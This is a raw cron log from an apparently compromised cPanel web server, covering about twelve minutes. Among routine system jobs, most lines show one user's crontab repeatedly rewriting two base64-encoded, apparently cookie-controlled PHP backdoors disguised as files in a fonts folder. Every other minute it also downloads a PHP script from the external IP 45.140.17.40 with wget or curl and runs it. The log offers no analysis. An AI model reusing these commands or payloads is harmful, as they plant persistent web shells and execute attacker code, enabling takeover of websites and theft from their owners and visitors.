Sep  1 18:16:02 ip-184-168-122-23 CROND[3775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:17:01 ip-184-168-122-23 CROND[3909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:17:01 ip-184-168-122-23 CROND[3911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:17:01 ip-184-168-122-23 CROND[3912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:17:01 ip-184-168-122-23 CROND[3910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:18:01 ip-184-168-122-23 CROND[4012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:18:01 ip-184-168-122-23 CROND[4015]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:18:01 ip-184-168-122-23 CROND[4014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:18:01 ip-184-168-122-23 CROND[4017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:18:01 ip-184-168-122-23 CROND[4016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:19:01 ip-184-168-122-23 CROND[4172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:19:01 ip-184-168-122-23 CROND[4174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:19:01 ip-184-168-122-23 CROND[4176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:19:01 ip-184-168-122-23 CROND[4175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:20:01 ip-184-168-122-23 CROND[4276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:20:01 ip-184-168-122-23 CROND[4277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:20:01 ip-184-168-122-23 CROND[4279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:20:01 ip-184-168-122-23 CROND[4278]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 18:20:01 ip-184-168-122-23 CROND[4285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:20:01 ip-184-168-122-23 CROND[4286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:20:01 ip-184-168-122-23 CROND[4287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:20:01 ip-184-168-122-23 CROND[4289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:20:01 ip-184-168-122-23 CROND[4290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:21:01 ip-184-168-122-23 CROND[4435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:21:01 ip-184-168-122-23 CROND[4437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:21:01 ip-184-168-122-23 CROND[4438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:21:01 ip-184-168-122-23 CROND[4439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:22:01 ip-184-168-122-23 CROND[4521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:22:01 ip-184-168-122-23 CROND[4524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:22:01 ip-184-168-122-23 CROND[4522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:22:01 ip-184-168-122-23 CROND[4523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:22:01 ip-184-168-122-23 CROND[4525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:23:01 ip-184-168-122-23 CROND[4637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:23:01 ip-184-168-122-23 CROND[4640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:23:01 ip-184-168-122-23 CROND[4638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:23:01 ip-184-168-122-23 CROND[4639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:24:01 ip-184-168-122-23 CROND[4870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:24:01 ip-184-168-122-23 CROND[4871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:24:01 ip-184-168-122-23 CROND[4873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:24:01 ip-184-168-122-23 CROND[4875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:24:01 ip-184-168-122-23 CROND[4876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:25:01 ip-184-168-122-23 CROND[4962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:25:01 ip-184-168-122-23 CROND[4963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:25:01 ip-184-168-122-23 CROND[4968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:25:01 ip-184-168-122-23 CROND[4969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:25:01 ip-184-168-122-23 CROND[4966]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 18:25:01 ip-184-168-122-23 CROND[4970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:25:01 ip-184-168-122-23 CROND[4965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:26:01 ip-184-168-122-23 CROND[5062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:26:01 ip-184-168-122-23 CROND[5063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:26:01 ip-184-168-122-23 CROND[5064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:26:01 ip-184-168-122-23 CROND[5068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:26:01 ip-184-168-122-23 CROND[5069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:27:01 ip-184-168-122-23 CROND[5146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:27:01 ip-184-168-122-23 CROND[5148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:27:01 ip-184-168-122-23 CROND[5149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:27:01 ip-184-168-122-23 CROND[5147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:28:01 ip-184-168-122-23 CROND[5225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:28:01 ip-184-168-122-23 CROND[5226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:28:01 ip-184-168-122-23 CROND[5229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:28:01 ip-184-168-122-23 CROND[5230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:28:01 ip-184-168-122-23 CROND[5228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
